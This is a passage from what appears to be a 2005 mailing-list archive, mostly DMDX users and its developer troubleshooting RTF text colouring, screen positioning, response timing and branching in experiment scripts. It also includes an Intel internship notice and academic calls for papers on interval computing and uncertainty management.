want three seconds, you probably want in the header hope that helps Matthew ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 08:04:14 -0700",[DMDX] Re: varying text color within the same word,"Didn't think of the fact that DMDX might be deliberately doing what it was was doing but I see now that you've got a in there and that disables the WYSIWYG code. Seeing as the background is already white doesn't do a whole lot anyway. Gotta hunt through the docs to find it but if you look up it refers to and it in turn refers to where the behavior of ignoring the RTF color is mentioned: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdefaultbackgroundcolorkeyword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbackgroundcolorkeyword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhwritingcolorkeyword.htm At 02:56 AM 8/15/2005 -0400, you wrote: >Jonathan, Anna, and all, >Just in case I haven't written I solved the problem, here it is (again?): >the problem seems to have been in the header line (see below). When I >replaced it with a header line I took from another file, things >started working. Now I can use WordPad, highlight, select color, font, >etc., as you suggested, and actually see the same (WYSIWYG) at >runtime.. >Thanks for all the advice! >-Yuval. > > >On 8/12/05, Jonathan C. Forster wrote: > > > > Have a look at the FEATURES.RTF in the demo, it has multicolor frames. > > > > http://www.u.arizona.edu/~jforster/dmdx/demos.zip > > > > Perhaps Wordpad has oddly formed coloring as your segment sure doesn't work > > for me. I'll have to look at it, use Word if you've got it in the interim. > > > > Note that HTML is not going to work, the B stuff > > was just a WYSIWYG demo. > > > > At 03:09 PM 8/12/2005 -0400, you wrote: > > >Jonathan, > > >I hope you didn't lose sleep over the thought that I was assembling > > >the RTF file by hand. I didn't. I used wordpad, as was recommended in > > >the tutorial. I highlighted each letter and then chose a color. Then I > > >tried to tweak the file in some variations (see below) to get what i > > >wanted. But alas, to no avail.. I am sure I am just missing a small > > >technical issue, and I hope you can show me how to do it right, with a > > >small similar file (or corrections over my own). Here's my RTF file > > >contents: > > > > > >{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 > > >Arial;}} > > >{\\colortbl > > >;\\red128\\green128\\blue128;\\red192\\green192\\blue192;\\red0\\green0\\blue0;} > > >{\\*\\generator Msftedit 5.41.15.1507;} > > > > >640,400,400,16,0> > > >\\viewkind4\\uc1\\pard\\cf1\\b\\f0\\fs24 > > > > > >\\par 0 ""Press SPACEBAR to start""; > > > > > >0 ""A{\\cf2 B}{\\cf3 C}{\\cf1 D}""\\par; > > > > > >0 ""A\\cf2 B\\cf3 C\\cf1 D""\\par; > > > > > >0 ""AB color=#FFFFFF>O > > >D"" \\par; > > > > > >0 ""A{B}{ > >color=#FFFFFF>C} > > >{D}"" \\par; > > > > > >0 ""--The End--""; > > > > > >\\cf0\\b0 > > >\\fs20\\par > > >} > > > > > > > > >The result is either uni-color (the default), or showing the tags as text. > > >:-( > > > > > >Not sure what you meant by the example has to be HTML. But I'll take > > >any example if it works! > > > > > >Thanks again, > > >-Yuval. > > > > > >PS: Anna, thanks for your reply as well! I hope I can do with a simple > > >text instruction, but if not, your idea is next in line... :-) > > > > > > > > > > > > > > >On 8/11/05, j.c.f. wrote: > > > > At 01:38 AM 8/11/2005 -0400, you wrote: > > > > >Jonathan, > > > > >Thanks for your fast reply. > > > > >Sorry to bother you again with such a seemingly simple issue, but > > > > >applying your answer in quotation marks, I get the """" as part > > > > >of the displayed string; preceding the inner quotation marks with a > > > > >backslash gives an error: unknown (\\"") ; applying it without quotation > > > > >marks altogether, I get the error ""unknown keyword "". I guess > > > > >it is just a small syntax issue that I am still missing. > > > > >Could I ask you to send me a code snippet? > > > > > > > > You mean the raw .RTF code? I use Word and it's coloring, > highlight a > > > > letter and choose it's color. I didn't ever think anyone would > assemble an > > > > .RTF by hand. > > > > > > > > >(If possible, as an > > > > >attachment, because my mail reader showed your answer as HTML.. in > > > > >violation of your ascii ribbon campaign...) > > > > > > > > Sorry, but if you want an example it had to be HTML. > > > > > > > > /""\\ > > > > -jonathan (j.c.f.) \\ / > > > > X > > > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > > > > > There are times when truth is stranger than fiction and lunch time is > > > > one of them. > > > > > > > > > > > > ==================================================================== > > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > > 'unsubscribe' by itself with no quotes in the body of the email > > > > to be removed from the list. The list archive is available here: > > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > > > ==================================================================== > > > > > > > > > >==================================================================== > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > 'unsubscribe' by itself with no quotes in the body of the email > > > to be removed from the list. The list archive is available here: > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > >==================================================================== > > > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > Interesting but useless facts #12. > > Nobody knows why ""Squid"" are called that. > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 08:06:18 -0700","[DMDX] Re: X, Y, XY do not work with counters?","At 03:11 AM 8/15/2005 -0400, you wrote: >I am trying to display a word at a random location on the screen. >For that, I set c1 and c2 for a random value. e.g., < set c1 = 170 + >300 * random(2) > . >I display the item with ""item"" - but it always displays it at >0,0. >If I use instead hard wired numbers (e.g., ), it works. > >Am I doing something wrong? what would be the right way to do it, or >the least painful workaround..? doesn't take counters for parameters. Don't think there's a way to use a counter to position something. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 08:07:43 -0700",[DMDX] Re: RE: RE: Displaying the last frame for 3s or until response,"Why doesn't solve your problem? At 01:40 PM 8/15/2005 +0100, you wrote: >Sorry, I don't think I made my problem that clear. > >I'm designing an experiment where the participant sees a picture and must >make a response to it. The picture will either remain on the screen for 3 >seconds, or will be removed from the screen if a response is made before >those 3 seconds are up. There is no time limit however for the participant >to respond to a given picture (hence ) once that picture is removed >from view. > >Unfortunately adding a blank frame to the end of the item will ensure that >the picture lasts for the entire duration to which it was set (in my case, >the default frame duration). If the participant responds before this time is >up, the picture will not immediately disappear as needed. > >I've played with the abort function, (note the 1000ms for >displaying the ""CROSS"" bmp), and am now stuck for ideas! The only way >I can think of around this problem is to create static video files of my >pictures that last for 3 seconds and use this in conjunction with the abort >function. > >Thanks, Andy. > > >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Matthew Finkbeiner >Sent: 15 August 2005 12:12 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] RE: Displaying the last frame for 3s or until response > >I think all you need to do is add another (blank) frame after the picture, >like this: > >=1 ""CROSS"" / * ""ALAF263_f2m_btm"" / ; > >Also, if you want three seconds, you probably want in the header > >hope that helps > >Matthew > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse.",0,1 Andy ,DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 16:52:58 +0100",[DMDX] RE: Re: RE: RE: Displaying the last frame for 3s or until response,"Hi Jonathan, There's a good chance I'm not using correctly. It seems to behave identically to for me. It could be this computer however. I've had problems with it running DMDX before. However, hopefully this is not the case and there's something simple I'm forgetting. The code below allows me to display pictures for 3 seconds, after which they disappear: 0 ""Please press SPACE to start""; =1 ""CROSS"" / * ""ALAF263_f2m_btm"" /; =2 ""CROSS"" / * ""ALAF263_f2m_top"" /; The identical code, removing the ""/"" at the end of the item line gives me the other behaviour I require, that is, the picture disappears immediately when the participant responds. Unfortunately, I need to be able to do both! The picture disappears after 3 seconds or when the particpant responds within 3 seconds. I'm experimenting with at the moment to span items but hopefully there is a much simpler way to achieve this. Thanks for your help, Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: 15 August 2005 16:08 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: RE: RE: Displaying the last frame for 3s or until response Why doesn't solve your problem? At 01:40 PM 8/15/2005 +0100, you wrote: >Sorry, I don't think I made my problem that clear. > >I'm designing an experiment where the participant sees a picture and >must make a response to it. The picture will either remain on the >screen for 3 seconds, or will be removed from the screen if a response >is made before those 3 seconds are up. There is no time limit however >for the participant to respond to a given picture (hence ) once >that picture is removed from view. > >Unfortunately adding a blank frame to the end of the item will ensure >that the picture lasts for the entire duration to which it was set (in >my case, the default frame duration). If the participant responds >before this time is up, the picture will not immediately disappear as needed. > >I've played with the abort function, (note the 1000ms for >displaying the ""CROSS"" bmp), and am now stuck for ideas! The >only way I can think of around this problem is to create static video >files of my pictures that last for 3 seconds and use this in >conjunction with the abort function. > >Thanks, Andy. > > >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Matthew >Finkbeiner >Sent: 15 August 2005 12:12 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] RE: Displaying the last frame for 3s or until response > >I think all you need to do is add another (blank) frame after the >picture, like this: > >=1 ""CROSS"" / * ""ALAF263_f2m_btm"" / >; > >Also, if you want three seconds, you probably want in the >header > >hope that helps > >Matthew > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Vongschanphen, Andrew P"" ",changw@ecs.csus.edu,"Mon, 15 Aug 2005 10:43:27 -0700",Intern positions opening up at Intel,"Hello Dr. Chang, Hope you are doing well. As you've known I've been interning in the System Software Architecture group at Intel in Folsom. There are two more intern positions that are opening within my group. I thought I'd check to see if you knew of anyone who might be interested. Below is a description of the positions. Thank you for your help. I'll try to drop by your office to say hi soon, if not I'll see you in a couple of weeks when school starts. Thanks again, Andrew Job Responsibilities: In this position candidate will be responsible for modifying/developing embedded software at the OS kernel/drivers level. The candidate should be flexible to work on Windows OS/Linux. This involves testing, debugging and troubleshooting the various mobile devices for the various features of battery life, CPU utilization, security requirements of the platform. It is preferred that the candidate has some hands-on experience with various OS's like Microsoft Windows* and/or Linux*). ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 11:04:36 -0700",[DMDX] Re: varying text color within the same word,"Not to mention the which specifically makes everything black... At 08:04 AM 8/15/2005 -0700, you wrote: >Didn't think of the fact that DMDX might be deliberately doing what it was >was doing but I see now that you've got a in there and >that disables the WYSIWYG code. Seeing as the background is already white > doesn't do a whole lot anyway. > >Gotta hunt through the docs to find it but if you look up it refers >to and it in turn refers to where the behavior of ignoring the >RTF color is mentioned: > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdefaultbackgroundcolorkeyword.htm > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbackgroundcolorkeyword.htm > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhwritingcolorkeyword.htm > > > >At 02:56 AM 8/15/2005 -0400, you wrote: >>Jonathan, Anna, and all, >>Just in case I haven't written I solved the problem, here it is (again?): >>the problem seems to have been in the header line (see below). When I >>replaced it with a header line I took from another file, things >>started working. Now I can use WordPad, highlight, select color, font, >>etc., as you suggested, and actually see the same (WYSIWYG) at >>runtime.. >>Thanks for all the advice! >>-Yuval. >> >> >>On 8/12/05, Jonathan C. Forster wrote: >> > >> > Have a look at the FEATURES.RTF in the demo, it has multicolor frames. >> > >> > http://www.u.arizona.edu/~jforster/dmdx/demos.zip >> > >> > Perhaps Wordpad has oddly formed coloring as your segment sure doesn't >> work >> > for me. I'll have to look at it, use Word if you've got it in the >> interim. >> > >> > Note that HTML is not going to work, the B >> stuff >> > was just a WYSIWYG demo. >> > >> > At 03:09 PM 8/12/2005 -0400, you wrote: >> > >Jonathan, >> > >I hope you didn't lose sleep over the thought that I was assembling >> > >the RTF file by hand. I didn't. I used wordpad, as was recommended in >> > >the tutorial. I highlighted each letter and then chose a color. Then I >> > >tried to tweak the file in some variations (see below) to get what i >> > >wanted. But alas, to no avail.. I am sure I am just missing a small >> > >technical issue, and I hope you can show me how to do it right, with a >> > >small similar file (or corrections over my own). Here's my RTF file >> > >contents: >> > > >> > >{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 >> > >Arial;}} >> > >{\\colortbl >> > >;\\red128\\green128\\blue128;\\red192\\green192\\blue192;\\red0\\green0\\blue0;} >> > >{\\*\\generator Msftedit 5.41.15.1507;} >> > > > > >640,400,400,16,0> >> > >\\viewkind4\\uc1\\pard\\cf1\\b\\f0\\fs24 >> > > >> > >\\par 0 ""Press SPACEBAR to start""; >> > > >> > >0 ""A{\\cf2 B}{\\cf3 C}{\\cf1 D}""\\par; >> > > >> > >0 ""A\\cf2 B\\cf3 C\\cf1 D""\\par; >> > > >> > >0 ""AB> color=#FFFFFF>O >> > >D"" \\par; >> > > >> > >0 ""A{B}{> > >color=#FFFFFF>C} >> > >{D}"" \\par; >> > > >> > >0 ""--The End--""; >> > > >> > >\\cf0\\b0 >> > >\\fs20\\par >> > >} >> > > >> > > >> > >The result is either uni-color (the default), or showing the tags as >> text. >> > >:-( >> > > >> > >Not sure what you meant by the example has to be HTML. But I'll take >> > >any example if it works! >> > > >> > >Thanks again, >> > >-Yuval. >> > > >> > >PS: Anna, thanks for your reply as well! I hope I can do with a simple >> > >text instruction, but if not, your idea is next in line... :-) >> > > >> > > >> > > >> > > >> > >On 8/11/05, j.c.f. wrote: >> > > > At 01:38 AM 8/11/2005 -0400, you wrote: >> > > > >Jonathan, >> > > > >Thanks for your fast reply. >> > > > >Sorry to bother you again with such a seemingly simple issue, but >> > > > >applying your answer in quotation marks, I get the """" as >> part >> > > > >of the displayed string; preceding the inner quotation marks with a >> > > > >backslash gives an error: unknown (\\"") ; applying it without >> quotation >> > > > >marks altogether, I get the error ""unknown keyword "". I guess >> > > > >it is just a small syntax issue that I am still missing. >> > > > >Could I ask you to send me a code snippet? >> > > > >> > > > You mean the raw .RTF code? I use Word and it's coloring, >> highlight a >> > > > letter and choose it's color. I didn't ever think anyone would >> assemble an >> > > > .RTF by hand. >> > > > >> > > > >(If possible, as an >> > > > >attachment, because my mail reader showed your answer as HTML.. in >> > > > >violation of your ascii ribbon campaign...) >> > > > >> > > > Sorry, but if you want an example it had to be HTML. >> > > > >> > > > /""\\ >> > > > -jonathan (j.c.f.) \\ / >> > > > X >> > > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> > > > >> > > > There are times when truth is stranger than fiction and lunch time is >> > > > one of them. >> > > > >> > > > >> > > > ==================================================================== >> > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> > > > 'unsubscribe' by itself with no quotes in the body of the email >> > > > to be removed from the list. The list archive is available here: >> > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> > > > ==================================================================== >> > > > >> > > >> > >==================================================================== >> > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> > > 'unsubscribe' by itself with no quotes in the body of the email >> > > to be removed from the list. The list archive is available here: >> > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> > >==================================================================== >> > >> > >> > /""\\ >> > -jonathan (j.c.f.) \\ / >> > X >> > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> > >> > Interesting but useless facts #12. >> > Nobody knows why ""Squid"" are called that. >> > >> > >> > ==================================================================== >> > Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> > 'unsubscribe' by itself with no quotes in the body of the email >> > to be removed from the list. The list archive is available here: >> > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> > ==================================================================== >> > >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >There's no real need to do housework -- after four years it doesn't get >any worse. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #12. Nobody knows why ""Squid"" are called that.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 11:09:45 -0700",[DMDX] Re: Displaying the last frame for 3s or until response,"At 04:52 PM 8/15/2005 +0100, you wrote: >Unfortunately, I need to be able to do both! The picture disappears after 3 >seconds or when the particpant responds within 3 seconds. I'm experimenting >with at the moment to span items but hopefully there >is a much simpler way to achieve this. Not only is the no easier way I'd be prepared to say there isn't any way it can happen. Decisions made that affect the display as a subject is responding simply stretch some of DMDX's design decisions that were made in the seventies too far. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #12. Nobody knows why ""Squid"" are called that.",0,0 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 14:30:20 -0400","[DMDX] Re: X, Y, XY do not work with counters?","in that case, can i set the ""cursor"" position in one item, and make DMDX remember it in the next? ( i assume i cannot call a subroutine and expect it to return to the next frame of the calling item, as opposed to the first frame of the item that comes after the calling item). maybe you can refer me to a ""lateralized"" experiment script, in which the items are randomly displayed to the left or right of fixation? thanks. On 8/15/05, j.c.f. wrote: > At 03:11 AM 8/15/2005 -0400, you wrote: > >I am trying to display a word at a random location on the screen. > >For that, I set c1 and c2 for a random value. e.g., < set c1 = 170 + > >300 * random(2) > . > >I display the item with ""item"" - but it always displays it at > >0,0. > >If I use instead hard wired numbers (e.g., ), it works. > > > >Am I doing something wrong? what would be the right way to do it, or > >the least painful workaround..? > > doesn't take counters for parameters. Don't think there's a way to > use a counter to position something. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > There's no real need to do housework -- after four years it doesn't get > any worse. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 18:02:50 -0700","[DMDX] Re: X, Y, XY do not work with counters?","At 02:30 PM 8/15/2005 -0400, you wrote: >in that case, can i set the ""cursor"" position in one item, and make >DMDX remember it in the next? You could have to use a counter and code it's value for various screen locations. You can then branch on that counter to one of many items that display the various possible screens. > ( i assume i cannot call a subroutine >and expect it to return to the next frame of the calling item, as >opposed to the first frame of the item that comes after the calling >item). Correct, calls happen in between items. >maybe you can refer me to a ""lateralized"" experiment script, in which >the items are randomly displayed to the left or right of fixation? Build your item file with 50% of the items on the left and 50% on the right and let DMDX scramble the item file for you. You assemble all possible displays explicitly and then let DMDX randomize their presentation order with scramble parameters or come up with some sort of branching scheme that selects the displays you want when. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse. ",0,0 Bruno Lang ,reliable_computing@interval.louisiana.edu,"Tue, 16 Aug 2005 12:23:14 +0200","CFP: ECMI Newsletter, Issue on result-verifying computations","Dear fellow intervalers, Andreas Frommer and I will be guest editors for one of the next issues of the ECMI Newsletter, a journal of the European Consortium for Mathematics in Industry; see http://www.ecmi-indmath.org This issue is intended as a vehicle for promoting ideas from result-verifying computing (interval and related methods) to engineers working in industry. Given the format and audience of the journal, each contribution should be kind of an ""appetizer"", i.e., it should - be short (2 pp max) - describe an application of result-verifying computing, either in cooperation with industry or with obvious impact to industry, and - keep technical details at a minimum and instead give pointers. The contributions will be preceded by a short introduction into interval (and related) methods. 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If so do you have some experience with that?"" best regards, Ray Moore ",0,0 Rafi Muhanna ,"Ray Moore , reliable computing ","Wed, 17 Aug 2005 13:44:21 -0400",Re: Eigenvalue enclosures,"Dear Prof. Moore, The following two papers might have answers to your questions: 1. Modares, Mehdi and Mullen, Robert L., 2004. "" Free Vibration of Structures with Interval Uncertainty "". 9th ASCE Specialty Conference on Probabilistic Mechanics and Structural Reliability, New Mexico, July 26-28, 2004. 2. Modares, M., Mullen, R., Bellini, P., and Muhanna, R., ""Buckling Analysis of Structures with Interval Parameters,"" the 2005 SAE World Congress, Reliability and Robust Design in Automotive Engineering, Detroit, Michigan, April 11-14, 2005. Best regards, Rafi Muhanna ----- Original Message ----- From: Ray Moore To: reliable computing Sent: Wednesday, August 17, 2005 8:30 AM Subject: Eigenvalue enclosures Dear Colleagues, I have been asked the following question, and do not know of such a program. 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If there is an interest we can oragnize a special session. Vladik ________________________________ From: Thanh Ha DANG [mailto:ThanhHa.Dang@lip6.fr] Sent: Thu 8/18/2005 8:12 AM CALL FOR PAPERS THE 11th INFORMATION PROCESSING AND MANAGEMENT OF UNCERTAINTY INTERNATIONAL CONFERENCE (IPMU 2006) July 2-7, 2006, Paris, France Web page : http://ipmu2006.lip6.fr Paper submission due date: December 10th, 2005 PURPOSE OF THE CONFERENCE The IPMU Conference is organized every two years with the focus of bringing together scientists working on methods for the management of uncertainty and aggregation of information in intelligent systems. This conference provides a medium for the exchange of ideas between theoreticians and practitioners in these and related areas. SUPPORTED BY Université P. et M. Curie, Université Paris 8, ENST, LIP6, IEEE France, IFSA, EUSFLAT, UES DATES AND DEADLINES October 15, 2005: Submission of special sessions November 12, 2005: Notification of acceptance of special sessions December 10, 2005: Submission of papers February 25, 2006: Notification of acceptance March 31, 2006: Submission of final papers July, 2-7, 2006: Conference in Paris PAPER FORMAT Submitted full papers are to be 6 to 8 pages length, in English, or French. Format files and a complete instruction set are available on the webpage: http://ipmu2006.lip6.fr. TOPICS Theory, methods and tools Bayesian and Probabilistic Methods, Measure of Information and Uncertainty, Evidence Theory, Possibility Theory, Utility Theory, Measurement Theory, Belief Networks, Chaos Theory, Fuzzy Methods, Rough Sets, Belief Updating, Default Reasoning, Multivalued Logics, Temporal Reasoning, Non-standard Logics, Non-monotonic Logics, Approximate Reasoning, Knowledge Acquisition, Knowledge Representation, Uncertainty in Cognition, Information incompleteness and inconsistency, Genetic Algorithms, Evolutionary Computation, Machine Learning, Inductive Methods, Neural Networks, Aggregation Methods, Data Analysis. Application fields Intelligent Systems, Fuzzy Control, Diagnosis Systems, Expert Systems, Hybrid Systems, Clustering, Databases, Classification, Image Processing, Intelligent Agents, Pattern Recognition, Medical Applications, Bioinformatics, Financial Engineering, Multi-Media Management, Decision Support Systems, Dedicated Architectures and Software, Software engineering, Multicriteria and Group Decision Making, Information systems, Information Retrieval, Information Fusion, Semantic Web, Data Mining, Cyber Security. HONORARY PRESIDENT L. A. Zadeh (Univ. of California, USA) CHAIRPERSONS B. Bouchon-Meunier (CNRS, Université Paris VI, France) R.R Yager (Iona College, USA) ORGANIZING COMMITTEE C. Marsala (General Co-Chair) M. Rifqi (General Co-Chair) C. Tijus (Publications Chair) M. Detyniecki (Publicity Chair) E. Kijak (Technical Chair) N. Labroche (Web Chair) H. Akdag (Local Arrangements Chair) A. Laurent (Electronic Submission Chair) M.J. Lesot (Special Sessions Chair) J.F. Omhover (Posters Sessions Chair) SPECIAL ADVISERS COMMITTEE A. Billot (France) A. Capotorti (Italy) G. Cohen (France) G. Coletti (Italy) M. Delgado (Spain) L. Foulloy (France) S. Galichet (France) J. Gutierrez-Rios (Spain) M.-T. Lamata (Spain) L. Magdalena (Spain) G. Mauris (France) L. Saitta (Italy) E. Trillas (Spain) L. Valverde (Spain) J. Verdegay (Spain) M.-A. Vila (Spain) INTERNATIONAL PROGRAM COMMITTEE J. Aczel (Canada) A. Appriou (France) J. Baldwin (UK) H. Berenji (USA) Z.Z. Bien (Korea) I. Bloch (France) P. Bonissone (USA) P. Borne (France) P. Bosc (France) R. Casadio (Italy) G. Chen (China) V. Cross (USA) B. De Baets (Belgium) G. De Cooman (Belgium) T. Denoeux (France) A. Di Nola (Italy) A. Doucet (France) D. Dubois (France) F. Esteva (Spain) M. Fedrizzi (Italy) C. Fluhr (France) J. Fodor (Hungary) P. Gallinari (France) M.A. Gil (Spain) F. Gomide (Brazil) M. Grabisch (France) S. Grossberg (USA) P. Hajek (Czech Republic) L. Hall (USA) F. Herrera (Spain) K. Hirota (Japan) M-C. Jaulent (France) J. Kacprzyk (Poland) A. Kandel (USA) E.P. Klement (Austria) L. Koczy (Hungary) V. Kreinovich (USA) R. Kruse (Germany) H. Kyburg (USA) H. Larsen (Denmark) H. Maître (France) J.-F.Marcotorchino (France) T. Martin (UK) P. Melin (Mexico) J. Mendel (USA) R. Mesiar (Slovakia) S. Moral (Spain) H.T. Nguyen (USA) S. Ovchinnikov (USA) G. Pasi (Italy) W. Pedrycz (Canada) J. Pitrat (France) V. Piuri (Italy) H. Prade (France) A. Ralescu (USA) D. Ralescu (USA) M. Ramdani (Maroc) D. Ruan (Belgium) E. Ruspini (USA) D. Rutkowska (Poland) E. Sanchez (France) R. Scozzafava (Italy) G. Shafer (USA) P. Shenoy (USA) P. Smets (Belgium) P. Sobrevilla (Spain) M. Sugeno (Japan) E. Szmidt (Poland) S. Termini (Italy) I.B. Turksen (Canada) Z. Wang (USA) M. Wooldridge (UK) H. Zimmermann (Germany) J. Zurada (USA) SECRETARIAT IPMU2006 - LIP6 - Université Pierre et Marie Curie 8 rue du Capitaine Scott, 75015 Paris FRANCE Fax: +33 1 45 75 08 90 Email: ipmu2006@lip6.fr Web: http://ipmu2006.lip6.fr ",0,1 孙 得琳 ,DMDX@psy1.psych.arizona.edu,"Fri, 19 Aug 2005 13:20:53 +0800",[DMDX] question about branching,"I am a new user of DMDX in china(so my system language is simplified chinese),and I have a question about the branching keyword. I want to display some bitmap pictures in circulation.But it dosn't work as my wish. My script is following: 0 ; 1 ""1""; 2 ""2""; 3 ""2"", ""1""; 4 ; 0 ""the end""; But there is no circulation! the diagnostics is following: DMDX Vers. 3.1.4.1 08/19/2005 12:29:49 on machine PSYLAB-DPS2NPES DMDX Vers. 3.1.4.1 Item File Parsed file is Getting file -- Wait No scramble Scrambled file is Available DI device <鼠标> (? Available DI device <键盘> (? Input Device selection failed Available DI device <键盘> (? EXPERIMENT READY 15 video memory buffers at 800x600 16 bpp 0 ; Preparation A 0.07ms, B 0.05ms 1 ""1""; Preparation A 0.72ms, B 0.16ms 2 ""2""; Preparation A 1.18ms, B 0.78ms 3 ""2"", ""1""; Preparation A 0.68ms, B 1.04ms 4 ; 0 ""end""; JOB ABORTED I can't use the branching keywords as what is instructed in the DMDX help files.On the other hand, I found that the circulation can be made by adding a symbol '!' before the end line, the modified script is following: 0 ; 1 ”1”; 2 ”2”; 3 ”2”, ”1”; 4 ; !0 “end”; Although it runs, there is still somthing wrong -- DMDX warnded me ""read error"". The diagnostics is following: DMDX Vers. 3.1.4.1 08/19/2005 12:39:18 on machine PSYLAB-DPS2NPES DMDX Vers. 3.1.4.1 Item File Parsed file is Getting file -- Wait No scramble Scrambled file is Available DI device <鼠标> (? Available DI device <键盘> (? Input Device selection failed Available DI device <键盘> (? EXPERIMENT READY 15 video memory buffers at 800x600 16 